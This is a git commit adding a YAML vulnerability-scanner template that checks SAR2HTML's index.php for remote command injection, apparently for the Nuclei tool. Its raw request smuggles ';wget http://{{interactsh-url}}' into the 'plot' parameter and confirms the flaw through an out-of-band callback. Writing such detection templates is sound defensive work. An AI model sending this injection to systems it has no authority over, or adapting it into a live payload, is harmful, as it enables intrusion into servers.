Create sar2html-rce.yaml

SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
patch-1
GwanYeong Kim 2021-08-11 13:58:08 +09:00
parent 6f1043ad04
commit 0d2b53e71d
1 changed files with 28 additions and 0 deletions

View File

@ -0,0 +1,28 @@
id: sar2html-rce
info:
name: Sar2HTML - Remote Code Execution
author: gy741
severity: critical
description: SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
reference: |
- https://www.exploit-db.com/exploits/49344
tags: sar2html,mirai,rce,oob
requests:
- raw:
- |
GET /index.php?plot=;wget http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
unsafe: true
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"